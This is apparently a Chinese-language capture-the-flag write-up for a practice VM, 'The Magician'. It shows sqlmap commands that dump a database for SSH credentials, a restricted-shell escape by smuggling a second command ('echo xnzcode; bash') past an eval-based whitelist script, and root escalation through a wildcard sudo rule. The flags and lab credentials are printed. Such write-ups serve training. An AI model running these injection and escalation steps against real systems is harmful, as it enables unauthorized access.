The Magician-xnzcode

信息收集

arp-scan, nmap

- 目标主机IP: 192.168.0.232
- 开放端口
  - 80/http

80端口探测

直接curl访问

```
<html><body><h1>It works!</h1>
                <!--  port 7000 8000 9000 -->
       </body></html>
```

给了三个端口（其实没啥用）

目录扫描

```
index.php            (Status: 200) [Size: 1506]
robots.txt           (Status: 200) [Size: 32]
index.html           (Status: 200) [Size: 79]
index.php            (Status: 200) [Size: 1506]
robots.txt           (Status: 200) [Size: 32]
```

`robots.txt`给了一个`scanch.php`，进去和`index.php`类似是查询靶机的, 推测是sql注入，但没成功
查看了`scanch.php`的网页源代码有提示：

```
<body>
<div class="container">
<h2>目标机器搜索（作者/系统）</h2>
<!--或许每个文件都应该要一个测试版本(bate) -->
<!-- 搜索表单：POST提交，提交到当前页面 -->
<form class="search-form" method="POST" action="/scanch.php">
...
```

加上`index.php`的搜索返回界面的源代码中的提示：

```
<body>
<div class="container">
<!--scanch_bate.php -->
<a href="index.php" class="back-btn">返回查询</a>
<h3>查询结果:</h3><table>
```

找到关键文件`scanch_bate.php`，直接跑sqlmap注入

sqlmap表单注入

因为是post请求,并且有个简单的表单, 可以直接用`--form`参数：

```
$ sqlmap -u 192.168.0.242/scanch_bate.php --form --dbs

available databases [2]:
[*] information_schema
[*] MazeSec

$ sqlmap -u 192.168.0.242/scanch_bate.php --form -D MazeSec --tables

[INFO] fetching tables for database: 'MazeSec'
Database: MazeSec
[2 tables]
+-----------------+
| guguge          |
| target_machines |
+-----------------+

$ sqlmap -u 192.168.0.242/scanch_bate.php --form -D MazeSec -T guguge --dump

Database: MazeSec
Table: guguge
[1 entry]
+--------+-----------------+----------+
| 序号    | 描述             | 文件名    |
+--------+-----------------+----------+
| 1      | firefly:3deaths | firefly  |
+--------+-----------------+----------+
```

得到一组凭据`firefly:3deaths`，直接登上ssh

受限shell

随便尝试了一下，发现`Error: 禁止执行命令 'exit' - firefly用户仅允许使用: ls pwd date echo cat`
有user.txt直接获得`flag{user-ead036727aacdd7e230d6764daa3b8ca}`

尝试用`echo `whoami``直接成功了 感动 那就简单了,直接使用`echo xnzcode; bash`获得完整shell环境

附上`/opt/ash.sh`

```
#!/bin/ash
ALLOWED_COMMANDS="ls pwd date echo cat"

exec_command() {
   cmd=$(echo "$1" | busybox awk '{print $1}')
   if busybox echo "$ALLOWED_COMMANDS" | busybox grep -wq "$cmd"; then
       eval "$1"
   else
       echo "Error: 禁止执行命令 '$cmd' - firefly用户仅允许使用:
$ALLOWED_COMMANDS"
       return 1
   fi
}

while true; do
   echo -n "firefly$"
   read input
   if [ -z "$input" ]; then
       continue
   fi
   exec_command "$input"
done
```

提权

先看sudo：

```
Matching Defaults entries for firefly on TheMagician:

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
n

Runas and Command-specific defaults for firefly:
   Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
```

```
User firefly may run the following commands on TheMagician:
    (ALL) NOPASSWD: /home/firefly/*.sh
```

感谢作者的馈赠：）在家目录直接创建文件`pwm.sh`,并赋予执行权限就可以以root权限执行任意命令

获得root shell,flag：`flag{root-b8dd296c3c802d07e77fdd7a943d15ef}`

总结

涉及知识点

- sql注入
- 绕过受限shell环境

很好的靶机，难度不大，适合新手：）